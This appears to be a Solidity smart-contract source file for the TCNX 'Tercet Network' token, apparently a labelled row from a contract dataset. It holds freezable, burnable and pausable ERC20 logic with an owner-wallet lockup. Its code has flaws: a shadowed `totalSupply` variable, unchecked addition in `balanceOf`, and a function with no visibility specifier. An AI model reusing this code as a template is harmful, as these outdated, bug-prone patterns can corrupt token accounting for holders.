pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TCNXToken is FreezableToken, BurnableToken, Pausable
{
address public fundsWallet = 0x368E1ED074e2F6bBEca5731C8BaE8460d1cA2529;
uint256 public totalSupply = 20 * 1000000000 ether;
uint256 public blockDate = 1561852800;
constructor() public {
transferOwnership(fundsWallet);
balances[fundsWallet] = totalSupply;
Transfer(0x0, fundsWallet, totalSupply);
}
function name() public pure returns (string _name) {
return "Tercet Network";
}
function symbol() public pure returns (string _symbol) {
return "TCNX";
}
function decimals() public pure returns (uint8 _decimals) {
return 18;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
require(!isBlocked(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
require(!isBlocked(msg.sender, _value));
return super.transfer(_to, _value);
}
function isBlocked(address _from, uint256 _value) returns(bool _blocked){
if(_from != fundsWallet || now > blockDate){
return false;
}
if(balances[_from].sub(_value) < totalSupply.mul(50).div(100)){
return true;
}
return false;
}
} | 1 | 4,699 |
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